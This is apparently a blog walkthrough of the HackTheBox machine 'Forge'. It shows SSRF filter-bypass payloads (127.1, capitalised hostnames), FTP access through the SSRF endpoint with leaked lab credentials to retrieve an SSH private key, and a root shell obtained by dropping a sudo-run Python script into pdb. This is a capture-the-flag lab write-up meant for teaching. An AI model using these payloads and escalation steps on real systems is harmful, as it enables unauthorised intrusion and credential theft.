TL;DR
This is a walkthrough writeup on Forge which is a Linux box categorized as medium on HackTheBox. The initial foothold was gained by discovering and exploiting SSRF (Server-Side Request Forgery) in a file upload functionality to access an internal sub-domain which revealed the FTP credentials using which we were able to read the SSH private key by FTPing via the SSRF endpoint . Meanwhile, the privilege escalation part was done by exploiting the SUDO permissions we had for a python script. This box primarily focused on the SSRF filter bypassing techniques.
Forge Writeup: Scanning Network
Running the usual Nmap port scan :
Command used --> nmap -A -sC -sV -v -Pn -n -oN nmap.initial 10.10.11.111
Nmap scan report for 10.10.11.111
Host is up (0.26s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp filtered ftp
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 4f:78:65:66:29:e4:87:6b:3c:cc:b4:3a:d2:57:20:ac (RSA)
| 256 79:df:3a:f1:fe:87:4a:57:b0:fd:4e:d0:54:c6:28:d9 (ECDSA)
|_ 256 b0:58:11:40:6d:8c:bd:c5:72:aa:83:08:c5:51:fb:33 (ED25519)
80/tcp open http Apache httpd 2.4.41
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://forge.htb
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
We have 3 ports to work with :
port 21
: FTP (which is labelled as filtered
meaning that it is either blocked or internal only)port 22
: SSHport 80
: Apache web-server
Forge Writeup: Web Enumeration
Checking out the hosted website in browser :

On browsing the target IP we were redirected to forge.htb
which indicates that the target is using Virtual Host Routing, thus let’s add the required entry in the /etc/hosts
file :
10.10.11.111 forge.htb
Browsing forge.htb
:

Wappalyzer tells us that the server is running PHP.

There’s a hyperlink to /upload
directory at the top right of the page. On the /upload
we have two ways to upload an image :
i) Upload a Local File
ii) Upload from URL


Running a Dirbuster Scan
Found nothing interesting here :

Sub-Domain Enumeration
- I will be using
wfuzz
for sub-domain enumeration because it offers virtual host sub-domain enumeration:
┌──(root💀kali)-[~/Desktop/Boxes/HTB/Forge/revision]
└─# wfuzz -H "Host: FUZZ.forge.htb" --sc 200 -c -w /usr/share/wordlists/secLists/subdomains-top1million-5000.txt $IP
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: <http://10.10.11.111/>
Total requests: 4989
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000024: 200 1 L 4 W 27 Ch "admin"
Total time: 148.1117
Processed Requests: 4989
Filtered Requests: 4988
Requests/sec.: 33.68402
We found one sub-domain :
admin.forge.htb
Let’s try to access it :
admin.forge.htb

admin.forge.htb
I did try different bypasses like using X-Forwarded-For
HTTP header, but nothing seemed to work.
😖 Let’s come back to this later.
Uploading Reverse Shell [Failed to execute]
Wappalyzer informed that the server is running PHP therefore we tried to upload a php reverse shell :

- The shell was uploaded in the
/uploads
directory with a random name. - We tried accessing the file, but the PHP reverse shell file isn’t being executed & thus we were not able to get a reverse shell.

Exploiting SSRF in “Upload from URL” functionality
Next we tried the obvious attack on the Upload from URL functionality which is “Server Side Request Forgery”. Read more about it here.
- When we try to access
http://127.0.0.1
, the message reveals that a “blacklsist” filter is being used to block malicious input in order to prevent SSRF attacks.

Trying to bypass this filter by using various workarounds, we were able bypass this filter using the payload :
http://127.1
127.1 also resolves to "localhost"
for your information, there are multiple ways to denote "localhost",
one of which is "127.1" 😉

Next, we tried to access some sensitive files on the server using the file
protocol :
file:///etc/passwd

file
protocol is blockedAhh, sadly it seems like only http
& https
protocols are allowed.
Trying to access admin.forge.htb
- The homepage on this sub-domain says : “Only localhost is allowed!”

Now, we know that we have an SSRF vulnerable endpoint, let’s try accessing this sub-domain from there because then the request for accessing admin.forge.htb
will be going from the localhost 😈
Trying to access http://forge.htb
first in order to figure out the filter bypass :

Bypassing the blacklist filter by capitalizing the letters : http://FORGE.htb


Hmm, we can’t see the contents of the page, so let’s intercept this with Burp.

Ahaaa, as you can see the header “Content-Type: image/jpg”. Thats the reason our browser is throwing an error.
Thus, viewing the response (which contains HTML webage source code) in Burp we can verify that we have a successfully bypassed the filter.
Now, coming to the main part, let’s try accessing the admin.forge.htb
sub-doamin using a similar technique to bypass the filter.
Bypassing the blacklist filter using capitalized letters ->
payload : http://admin.FORGE.htb
Again intercepting the request & response in Burp, we can see that we have successfully accessed the admin.forge.htb
sub-domain –

admin.forge.htb
- You could also intercept the response in Burp and change the
Content-Type
header to the following in the intercepted response and view the webpage in browser as well :
Content-Type: text/html; charset=utf-8

admin.forge.htb
We can spot two hyperlinks on the admin.forge.htb
page :
admin.forge.htb/announcements
admin.forge.htb/upload
Let’s visit them too (using the SSRF endpoint ofc) :

admin.forge.htb/announcements
→ An internal ftp server has been setup with credentials as user:heightofsecurity123!
→ The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url.
→ The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=<url>.
We have the FTP credentials 🙂
And the upload functionality on the admin.forge.htb/upload
supports ftp
protocol.
Connecting to FTP (via SSRF endpoint)
I googled to find about “how to FTP via URL” :
How to use FTP from a browser? (webhostface.com)

Going ahead and connecting to FTP using URL in the SSRF endpoint, we get the following response :
Format for FTP protocol via URL --> ftp://username:password@hostname
http://admin.FORGE.HTB/upload?u=ftp://user:heightofsecurity123!@127.1

This seems to be the home
directory of a user on the box because we can see user.txt
listed in here.
Listing the users in /etc/passwd
we saw that there exists only one user other than root
which is user web
http://admin.FORGE.HTB/upload?u=ftp://user:heightofsecurity123!@127.1/etc/passwd
Fetching the SSH key id_rsa
via FTP
We got the SSH private key via FTP for user web
:
http://admin.FORGE.HTB/upload?u=ftp://user:heightofsecurity123!@127.1/.ssh/id_rsa

web
Forge Writeup: User Flag ⛳
Using the obtained SSH key to connect via SSH to user user
on the box :
┌──(root💀kali)-[~/Desktop/Boxes/HTB/Forge/revision]
└─# ssh -i user_id.rsa user@$IP
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-81-generic x86_64)
* Documentation: <https://help.ubuntu.com>
* Management: <https://landscape.canonical.com>
* Support: <https://ubuntu.com/advantage>
System information as of Thu 20 Nov 2021 08:01:10 AM UTC
System load: 0.0 Processes: 224
Usage of /: 44.0% of 6.82GB Users logged in: 0
Memory usage: 25% IPv4 address for eth0: 10.10.11.111
Swap usage: 0%
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to <https://changelogs.ubuntu.com/meta-release-lts>. Check your Internet connection or proxy settings
Last login: Wed Nov 19 17:26:02 2021 from 10.10.14.4
user@forge:~$ id
uid=1000(user) gid=1000(user) groups=1000(user)
user@forge:~$ cat user.txt
f2d52***************************
Forge Writeup: Privilege Escalation
Checking the sudo
permissions for user web
:
user@forge:~$ sudo -l
Matching Defaults entries for user on forge:
env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin
User user may run the following commands on forge:
(ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/remote-manage.py
user@forge:/opt$ ls -l
total 4
-rwxr-xr-x 1 root root 1447 May 31 2021 remote-manage.py
Content of remote-manage.py
user@forge:/opt$ cat remote-manage.py
#!/usr/bin/env python3
import socket
import random
import subprocess
import pdb
port = random.randint(1025, 65535)
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('127.0.0.1', port))
sock.listen(1)
print(f'Listening on localhost:{port}')
(clientsock, addr) = sock.accept()
clientsock.send(b'Enter the secret passsword: ')
if clientsock.recv(1024).strip().decode() != 'secretadminpassword':
clientsock.send(b'Wrong password!\\n')
else:
clientsock.send(b'Welcome admin!\\n')
while True:
clientsock.send(b'\\nWhat do you wanna do: \\n')
clientsock.send(b'[1] View processes\\n')
clientsock.send(b'[2] View free memory\\n')
clientsock.send(b'[3] View listening sockets\\n')
clientsock.send(b'[4] Quit\\n')
option = int(clientsock.recv(1024).strip())
if option == 1:
clientsock.send(subprocess.getoutput('ps aux').encode())
elif option == 2:
clientsock.send(subprocess.getoutput('df').encode())
elif option == 3:
clientsock.send(subprocess.getoutput('ss -lnt').encode())
elif option == 4:
clientsock.send(b'Bye\\n')
break
except Exception as e:
print(e)
pdb.post_mortem(e.__traceback__)
finally:
quit()
This is a simple script which :
- Selects a random port & listens on that port on localhost (
127.0.0.1
) - When we connect to this port on “localhost” we are asked for a password (which can be seen the contents of the file →
secretadminpassword
) - After entering the correct password, we are given 4 choices.
- We can give the number corresponding to the choice of the option we want to choose.
user@forge:~$ nc 127.0.0.1 14801
Enter the secret passsword: secretadminpassword
Welcome admin!
What do you wanna do:
[1] View processes
[2] View free memory
[3] View listening sockets
[4] Quit
- Depending on the choice the user makes, a corresponding command is run and its output is sent back to the connected user.
- And in case there is any kind of error, the script has an
except
which launches thepdb
(python debugger) for the error encountered.
Testing remote-manage.py
We tested this program for an invalid input which raises an error and in turn launches pdb
(Python Debugger) on the host.
Giving an invalid input to the program :
user@forge:~$ nc 127.0.0.1 14801
Enter the secret passsword: secretadminpassword
Welcome admin!
What do you wanna do:
[1] View processes
[2] View free memory
[3] View listening sockets
[4] Quit
iNeedaGirlfriend<3
pdb
prompt is launched on the host on receiving the invalid input :
user@forge:/opt$ sudo /usr/bin/python3 /opt/remote-manage.py
Listening on localhost:14801
invalid literal for int() with base 10: b'iNeedaGirlfriend<3'
> /opt/remote-manage.py(27)<module>()
-> option = int(clientsock.recv(1024).strip())
(Pdb)
Searching the web about how to privesc using pdb
we found this on GTFO bins :
So, turns out that we can simply run python commands inside the pdb
prompt 😄
Forge Writeup: Root Flag ⛳
Let’s spawn a root shell from inside the pdb
prompt !
user@forge:/opt$ sudo /usr/bin/python3 /opt/remote-manage.py
Listening on localhost:14801
invalid literal for int() with base 10: b'iNeedaGirlfriend<3'
> /opt/remote-manage.py(27)<module>()
-> option = int(clientsock.recv(1024).strip())
(Pdb) import os;
(Pdb) os.system('/bin/sh');
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
c78e1***************************
Yayy ! Congrats on rooting Forge 🎉🥳
Do checkout other interesting writeups & walkthroughs on sheerazali.com